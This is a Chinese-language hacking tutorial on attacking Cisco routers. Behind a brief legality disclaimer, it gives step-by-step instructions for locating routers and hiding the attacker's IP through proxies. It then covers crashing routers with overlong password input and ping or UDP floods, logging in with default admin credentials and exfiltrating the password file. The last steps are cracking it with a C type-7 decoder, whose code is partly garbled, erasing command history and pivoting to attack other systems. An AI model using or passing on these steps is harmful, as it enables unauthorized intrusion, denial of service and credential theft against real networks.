电脑技术学习

攻击CISCO路由器

dn001

  警告:
  
  不要用这破坏cisco系统,或非法访问系统。这篇文章只是以学习为目的。只可以用在合法行为,不能破坏任何系统。这篇文章将一步一步的向你展示如何利用发现的缺陷来获得非法访问。假如你攻入了一个cisco路由器,或者扰乱了系统,将会中断数百个网络客户机,造成大量损失。所以,只可以在被答应的情况下进行,否则你将会有许多麻烦
  
  -----------------------------
  目录:
  -----------------------------在你看之前需要了解的:
  
  -什么是IP地址?
  
  -什么是ISP?
  
  -什么是TCP/IP数据包?
  
  -怎样隐藏你的IP地址?
  
  -怎样使用Telnet?
  
  -怎样使用HyperTerminal?
  
  -怎样使用Ping?
  
  -怎样使用TraceRoute?
  
  -怎样使用代理服务器?
  
  ---------------------------
  
  -第一段:为什么攻击cisco路由器?
  
  -第二段:怎样找到一个cisco路由器?
  
  -第三段:怎样闯入一个cisco路由器?
  
  -第四段:怎样破解密码?
  
  -第五段:怎样使用一个cisco路由器?
  -----------------------------
  你看之前需要了解的知识:
  -----------------------------
  什么是IP地址?
  
  IP是Internet Protocol的缩写,电脑通过IP地址来识别网络中的其它电脑,与其连接。这就是你为什么会
  
  在IRC中被踢走,并且找到你的ISP和你的大概位置。IP地址是很轻易得到的,基本上可以由以下几种方法
  
  获得:
  
  -你访问某网站,你的IP被记录
  
  -在IRC中,某人得到你的IP地址
  
  -在ICQ,OICQ中,可以简单的得到你的IP地址,使用一些小工具。
  
  -假如你的电脑和某人连接起来,运行 systat即可看到和那些电脑连接(以IP地址显示)
  
  -某人发给你一封用Java程序写的邮件,可以得到你的IP地址
  
  还有其它许多方法得到IP地址,包括使用一些木马和后门程序。
  
  -----------------------------
  什么是ISP?
  
  ISP是Internet Service Provider的缩写,你通过它们连接到internet.你拨号后就会连接和其连接。我
  
  们可以运行一个traceroute(跟踪路径)来寻找我们的ISP(traceroute 在后面还会介绍).
  
  你应该看到像这样:
  
  tracert 222.222.22.22
  
  Tracing route to [221.223.24.54]
  
  over a maximum of 30 hops.
  
  1 147ms 122ms 132ms your.isp [222.222.22.21]<<<你的ISP
  
  2 122ms 143ms 123ms isp.firewall [222.222.22.20]<  
  你也可以 打开/关闭 "local echo"。假如你打开了"local echo",你的电脑将显示你输入的任何东西,
  
  并且连接上的电脑将显示回应。
  
  所以你将会看到就像这些:
  
  你输入 "hello",你看到的是
  
  hhelelollo
  
  这是因为返回的信息和你输入的内容已经混合起来了。我这样做的唯一的原因是看连接的机器对我的输入,
  
  是否产生回应。
  
  在默认的情况下,telnet只会通过telnet端口连接,即是断口23。你并不会只通过端口23连接,所以你连
  
  接的时候,你可以任意改变端口。你可以改成25,那是邮件服务程序的端口。也可以是21,那是FTP的端口。
  
  总共有上千个端口,所以你要选择正确的端口!
  
  ----------------------------
  
  怎样使用超级终端?
  
  超级终端可以让你的电脑的任意端口进行监听某台电脑,假如有信息来到这个端口,就可以进行传输件。超
  
  级终端在 开始>程序>附件>通讯 中,没有的话,你可以通过控制面板中安装。首先,你要选择连接协议,我
  
  们选"TCP/IP Winsock",接着输入要连接的电脑,下面选择端口。可以选择Call>Wait for Call,来等待
  
  文件。这样其它的电脑就可以通过某个端口连接上你了,你也可以聊天,或者传送文件了。
  
  :我的超级终端可能不一样,没有这个功能。
  
  -----------------------------怎样使用Ping?
  
  Ping的使用很简单,在MS-DOS方式下,输入“ping IP地址”,默认是ping三次,你也可以自己设定。
  
  "ping ip地址 -t"
  
  可以使其不停的ping。
  改变 ping 的大小可以这样做:
  "ping -l (size) ip.address"
  ping其实是向远程的机器发送数据包,远程的机器接收到就会把数据包原路返回,我们可以看到这个过程的
  时间。时间越短,速度就越快,当然,拥挤的时候,就会发生数据包丢失。 Ping 会减慢被ping的电脑的速度,流量过大的时候,甚至使其down机。一分钟的ping攻击就可以使一台win98的电脑崩溃。(因为它的连接缓冲区溢出 - 连接过量,所以Windows决定休息休息了:>).ping攻击也会占用你许多带宽,所以你的带宽要比目标机器大(除非目标机器运行的是Windows 98,而且你有个不错的猫,那么一分钟内,你就可以叫它下台).Ping攻击对强壮的系统没有效果。注重: DOS's -t 选项不是一个ping攻击,它只是很小的连接一下,而且中间有很多间隔。在Unix或Linux的机器中,你可以用上参数 -f 进行真正的ping攻击。其实,假如你的分布是POSIX-compliant (POSIX -
  Portable Operating System Interface based on uniX),否则那就不是真正的Unix/Linux 分布。那么假如你有个 OS,称自己既是Unix,又是Linux,那么就是有 -f 。
  ------------------------------
  
  怎样使用TraceRoute?
  
  要跟踪你的连接(可以观察到目标机器的连接路线),只要在MS-DOS方式下,输入“tracert IP地址”。你将会看到一个电脑的目录,就是你和目标之间通过的机器。.你可以用此方法确定是否存在防火墙,也可以确定某人的ISP(internet service provider)。
  要确定ISP,只要看目标机器的前一个IP地址,那就应该是ISP的路由器。基本上说,这就是traceroute怎样工作-一个 TCP/IP 数据包,在它的头部有一个值(在IP的头部。假如你不知道这是什么意思,没关系,你接着往下看就可以了)称作 TTL,它是Time To Live的缩写。当一个数据包通过路由器的时候,它的TTL值就会减少。这样可能会使数据包在网络中流窜,消耗带宽。所以每当一个数据包TTL值达到0的时候,它就会失效并且因为一个ICMP错误返回到发送者。现在traceroute 先发送一个TTL值为1的数据包,那么它很快就会返回。查看ICMP错误的头部,traceroute就可以知道数据包第一步通过哪。接着就会发送TTL值为2的数据包,返回后,就是第二次通过的地方。依次下去,直到最终的目的地,就可以知道整个路径。
  现在你是不是明白了呢? :-)
  ------------------------------
  怎样使用代理服务器?
  
  在网上寻找一个代理服务器,包括你需要的打开的端口的代理服务器。找到后,你可以用telnet 或
  hyperterminal通过代理服务器连接到另外一台电脑上。这样做对方的电脑就不可以确定你的IP地址。
  
  ------------------------------
  第一段:为什么攻击cisco路由器?
  
  你可能会想.. 为什么要攻击 cisco 路由器呢? 答案就是那样做将对闯入其它的系统非常有用...Cisco路由器非常的快,在一个系统中,一些会是以18 T1连接。而且它们非常灵活,尽管大多数运行telnet,但是它们可以在DoS攻击或攻入其它系统时发挥作用。它们同时还会有成千的数据包通过。但是可以被捕捉进行译码...许多的cisco路由器受托于系统,它们可以让你获得其网络中访问其它电脑的确切的数量。
  ----------------------------
  第二段:怎样找到一个cisco路由器?
  
  寻找一个cisco路由器可以说是以项简单的任务,几乎所有的ISP至少通过一个cisco路由器。最简单的方法是在dos下运行tracert,你可以跟踪到电脑之间的许多电脑,在这之间,必有一个 “cisco”这个名字。假如你发现了,记下它的IP地址。在中国未必有cisco这个名字,但是肯定有路由器的,你可以用SuperScan扫描前两个IP地址,看哪个开2001端口(Cisco路由器治理)和23端口即是的啦!现在,你有cisco路由器的位置了,但是它可能还有一个防火墙保护它,所以你要检查一下它是否被封锁ping连接的次数,假如有回应,它就有可能未被封锁。另外一种方法就是试着访问cisco路由器的一些端口。你用telnet即可,端口23,假如它要输入密码,未叫输入用户名,你就可能在一个防火墙。试着找一个未受防火墙保护的路由器,因为这篇教程主题是路由器,不是教你怎样通过防火墙。当你确信找到一个好的系统,你应该找一个可以使用23端口的代理服务器,这样你的IP地址就不会被路由器记录下来了。:找到一台运行Wingate的机器即可。
  -----------------------------
  第三段:怎样闯入一个cisco路由器?
  
  Cisco路由器运行 V4.1 版本的软件(现在普遍使用的),这很轻易干掉。你只要通过代理服务器连接到
  一个cisco路由器,输入一串很长的密码,如:
  
  10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk
  
  10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk
  
  10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk
  
  10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk
  
  现在开始等,cisco系统将会重新启动,可以说你已经攻击它,使它离线了...但是过2-10分钟,它就会恢复,我们应该进入它。假如什么都没发生,那么它运行的不是脆弱的软件,你可以多试几种DoS攻击,比如大量的 ping.到dos下,输入 "ping -l 56550 cisco.router.ip -t",这会起到同样的效果. 很有可能以上两种方法都不行,反正是要其down机,那么试试那个攻击yahoo的udpFlood,一定可以使其down机。一定要注重小心啊!我相信你应该知道该怎么保护自己。假如它被动结,就另找一个代理服务器进行连接。并且用户名为"admin",密码为"admin",因为这是默认的。
  因为当它暂时的disabled,它将恢复到默认状态。你到我主页,会有一篇文章包括几乎所有的路由器的默认用户名和密码。现在,你已经进入了,你应该获得密码文件!系统运行不同的软件,但大部分有个像"htl-textil"这类的提示,现在输入"?",观看命。你会看到有很多的命令,你会发现一个传送命令,用这个命令,在当前Admin用户的情况下,把密码文件发送到你的电脑23端口上。但是在这之前,你要把你的超级终端设定好。你发送文件之后,超级终端将问你是否接收文件,你选择是并保存在电脑中即可。离线. 你通过了最难的部分,下面预备开始破解密码。
  ------------------------------
  第四段:怎样破解密码?
  
  现在,你获得了密码文件,你要破解它才能继续进入路由器。所以你可以运行John the Ripper之类的软件破译它。
  
  这是我推荐的最简单的方法.另一种方法是试着把它解码。这样做需要一个解码软件,使用某些解码软件,你还要有足够的耐心。
  
  这儿有一个专门为cisco路由器密码文件解码的软件,你可以在Linux中编译它:
  
  #include
  
  #include
  
  char xlat[] = {
  
  0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
  
  0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
  
  0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44
  
  };
  
  char pw_str1[] = "passWord 7 ";
  
  char pw_str2[] = "enable-password 7 ";
  
  char *pname;
  
  cdecrypt(enc_pw, dec_pw)
  
  char *enc_pw;
  
  char *dec_pw;
  
  {
  
  unsigned int seed, i, val = 0;
  
  if(strlen(enc_pw) & 1)
  
  return(-1);
  
  seed = (enc_pw[0] - ?') * 10 + enc_pw[1] - ?'
  
  if (seed > 15 !isdigit(enc_pw[0]) !isdigit(enc_pw[1]))
  
  return(-1);
  
  for (i = 2 ; i <= strlen(enc_pw); i++) {
  
  if(i !=2 && !(i & 1)) {
  
  dec_pw[i / 2 - 2] = val ^ xlat[seed++];
  
  val = 0;
  
  }
  
  val *= 16;
  
  if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) {
  
  val += enc_pw[i] - ?'
  
  continue;
  
  }
  
  if(enc_pw[i] >= 'A' && enc_pw[i] <= 'F') {
  
  val += enc_pw[i] - 'A' + 10;
  
  continue;
  
  }
  
  if(strlen(enc_pw) != i)
  
  return(-1);
  
  }
  
  dec_pw[++i / 2] = 0;
  
  return(0);
  
  }
  
  usage()
  
  {
  
  fprintf(stdout, "Usage: %s -p n", pname);
  
  fprintf(stdout, " %s n", pname);
  
  return(0);
  
  }
  
  main(argc,argv)
  
  int argc;
  
  char **argv;
  
  {
  
  FILE *in = stdin, *out = stdout;
  
  char line[257];
  
  char passwd[65];
  
  unsigned int i, pw_pos;
  
  pname = argv[0];
  
  if(argc > 1)
  
  {
  
  if(argc > 3) {
  
  usage();
  
  exit(1);
  
  }
  
  if(argv[1][0] == '-')
  
  {
  
  switch(argv[1][1]) {
  
  case 'h':
  
  usage();
  
  break;
  
  case 'p':
  
  if(cdecrypt(argv[2], passwd)) {
  
  fprintf(stderr, "Error.n");
  
  exit(1);
  
  }
  
  fprintf(stdout, "password: %sn", passwd);
  
  break;
  
  default:
  
  fprintf(stderr, "%s: unknow option.", pname);
  
  }
  
  return(0);
  
  }
  
  if((in = fopen(argv[1], "rt")) == NULL)
  
  exit(1);
  
  if(argc > 2)
  
  if((out = fopen(argv[2], "wt")) == NULL)
  
  exit(1);
  
  }
  
  while(1) {
  
  for(i = 0; i < 256; i++) {
  
  if((line[i] = fgetc(in)) == EOF) {
  
  if(i)
  
  break;
  
  fclose(in);
  
  fclose(out);
  
  return(0);
  
  }
  
  if(line[i] == 'r')
  
  i--;
  
  if(line[i] == 'n')
  
  break;
  
  }
  
  pw_pos = 0;
  
  line[i] = 0;
  
  if(!strncmp(line, pw_str1, strlen(pw_str1)))
  
  pw_pos = strlen(pw_str1);
  
  if(!strncmp(line, pw_str2, strlen(pw_str2)))
  
  pw_pos = strlen(pw_str2);
  
  if(!pw_pos) {
  
  fprintf(stdout, "%sn", line);
  
  continue;
  
  }
  
  if(cdecrypt(&line[pw_pos], passwd)) {
  
  fprintf(stderr, "Error.n");
  
  exit(1);
  
  }
  
  else {
  
  if(pw_pos == strlen(pw_str1))
  
  fprintf(out, "%s", pw_str1);
  
  else
  
  fprintf(out, "%s", pw_str2);
  
  fprintf(out, "%sn", passwd);
  
  }
  
  }
  
  }
  
  假如你没有使用Linux,你就只好用John the Ripper之类的软件,带上密码档,进行暴利破解。
  
  -----------------------------
  第五段:怎样使用一个cisco路由器?
  
  要使用它,你先必须连接到它,你可以用代理,以免你的IP地址被记下。当你进入的时候,假如你想关闭历史记录来掩盖你的行为,你只要输入"terminal history size 0"。这样就不会被记下什么了! 输入 "?"来看路由器中的命令,大多数你都可以用的。这些路由器一般都有telnet,所以你可以通过telnet连接到其它的系统上(比如unix boxes),并且攻击它们。你还可以使用ping 和 traceroute 进行跟踪系统或进行DoS攻击。你也可以监听数据包,但我不推荐这样做,因为并不是一定成功,而且会被发现....
  -----------------------------
  假如你第一次没有攻入cisco,不要担心...你一两次是不可能成功的。它需要不断的练习和超强的耐力。
  这儿只向你将怎样做...一定要在合法的情况下进行啊!